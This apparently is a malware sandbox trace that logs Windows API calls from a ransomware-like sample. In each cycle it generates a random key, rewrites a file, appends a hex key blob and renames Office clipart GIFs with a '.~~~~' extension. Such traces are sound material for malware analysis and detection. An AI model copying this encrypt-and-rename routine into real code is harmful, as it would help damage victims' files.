	[0088.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0088.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.792] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0088.793] GetLastError () returned 0x0
	[0088.793] GetLastError () returned 0x0
	[0088.793] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0088.793] GetLastError () returned 0x0
	[0088.793] GetLastError () returned 0x0
	[0088.802] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffeb7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.803] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1485, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x1485, lpOverlapped=0x0) returned 1
	[0088.803] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0088.819] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.819] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.819] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.819] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.819] CloseHandle (hObject=0x128) returned 1
	[0088.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce8c0
	[0088.823] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.~~~~")) returned 1
	[0088.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce8c0 | out: hHeap=0x300000) returned 1
	[0088.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0088.824] GetLastError () returned 0x0
	[0088.825] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x395630) returned 1
	[0088.826] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.826] CryptReleaseContext (hProv=0x395630, dwFlags=0x0) returned 1
	[0088.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0088.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0088.827] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20881668342) returned 1
	[0088.827] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9ebda9f0, dwHighDateTime=0x1d60e1e)) 
	[0088.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0088.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0088.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0088.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e51c0
	[0088.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e51c0 | out: hHeap=0x300000) returned 1
	[0088.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce8c0
	[0088.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0e60
	[0088.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce8c0 | out: hHeap=0x300000) returned 1
	[0088.827] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0088.827] GetLastError () returned 0x0
	[0088.828] GetLastError () returned 0x0
	[0088.828] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0088.828] GetLastError () returned 0x0
	[0088.828] GetLastError () returned 0x0
	[0088.835] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffd691, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.835] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x296f, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x296f, lpOverlapped=0x0) returned 1
	[0088.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0088.836] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.836] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.836] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.836] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.836] CloseHandle (hObject=0x128) returned 1
	[0088.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38dff8
	[0088.836] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.~~~~")) returned 1
	[0088.837] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38dff8 | out: hHeap=0x300000) returned 1
	[0088.837] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0088.837] GetLastError () returned 0x0
	[0088.838] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x395630) returned 1
	[0088.839] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.839] CryptReleaseContext (hProv=0x395630, dwFlags=0x0) returned 1
	[0088.839] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0088.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0088.839] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20883058390) returned 1
	[0088.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9ec00b50, dwHighDateTime=0x1d60e1e)) 
	[0088.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0088.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0088.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0088.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5230
	[0088.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5230 | out: hHeap=0x300000) returned 1
	[0088.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38dff8
	[0088.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0dc8
	[0088.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38dff8 | out: hHeap=0x300000) returned 1
	[0088.841] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0088.841] GetLastError () returned 0x0
	[0088.841] GetLastError () returned 0x0
	[0088.842] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0088.842] GetLastError () returned 0x0
	[0088.842] GetLastError () returned 0x0
	[0088.847] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffeb3d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.847] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x14c3, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x14c3, lpOverlapped=0x0) returned 1
	[0088.847] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0088.847] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.847] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.848] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.848] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.848] CloseHandle (hObject=0x128) returned 1
	[0088.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce8c0
	[0088.848] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.~~~~")) returned 1
	[0088.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce8c0 | out: hHeap=0x300000) returned 1
	[0088.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0088.849] GetLastError () returned 0x0
	[0088.849] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x395630) returned 1
	[0088.850] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.850] CryptReleaseContext (hProv=0x395630, dwFlags=0x0) returned 1
	[0088.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0088.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0088.850] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20884056962) returned 1
	[0088.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9ec26cb0, dwHighDateTime=0x1d60e1e)) 
	[0088.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0088.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0088.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0088.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5268
	[0088.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5268 | out: hHeap=0x300000) returned 1
	[0088.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce8c0
	[0088.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0088.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce8c0 | out: hHeap=0x300000) returned 1
	[0088.851] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0088.851] GetLastError () returned 0x0
	[0088.851] GetLastError () returned 0x0
	[0088.852] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0088.852] GetLastError () returned 0x0
	[0088.852] GetLastError () returned 0x0
	[0088.855] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffeca5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.855] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x135b, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x135b, lpOverlapped=0x0) returned 1
	[0088.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0088.900] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.900] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.901] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.901] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.901] CloseHandle (hObject=0x128) returned 1
	[0088.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce8c0
	[0088.902] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.~~~~")) returned 1
	[0088.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce8c0 | out: hHeap=0x300000) returned 1
	[0088.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0088.903] GetLastError () returned 0x0
	[0088.903] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0088.905] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.905] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0088.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0088.905] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20889556509) returned 1
	[0088.906] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9ec990d0, dwHighDateTime=0x1d60e1e)) 
	[0088.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0088.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0088.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0088.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e53f0
	[0088.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e53f0 | out: hHeap=0x300000) returned 1
	[0088.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce8c0
	[0088.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c00
	[0088.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce8c0 | out: hHeap=0x300000) returned 1
	[0088.906] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0088.906] GetLastError () returned 0x0
	[0088.907] GetLastError () returned 0x0
	[0088.907] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0088.907] GetLastError () returned 0x0
	[0088.907] GetLastError () returned 0x0
	[0088.911] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffece2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.911] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x131e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x131e, lpOverlapped=0x0) returned 1
	[0088.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0088.911] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.911] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.911] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.911] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.912] CloseHandle (hObject=0x128) returned 1
	[0088.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce8c0
	[0088.912] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.~~~~")) returned 1
	[0088.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce8c0 | out: hHeap=0x300000) returned 1
	[0088.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0088.913] GetLastError () returned 0x0
	[0088.913] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0088.914] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.914] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.914] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0088.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0088.914] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20890441313) returned 1
	[0088.914] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9ecbf230, dwHighDateTime=0x1d60e1e)) 
	[0088.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0088.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0088.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0088.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5428
	[0088.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5428 | out: hHeap=0x300000) returned 1
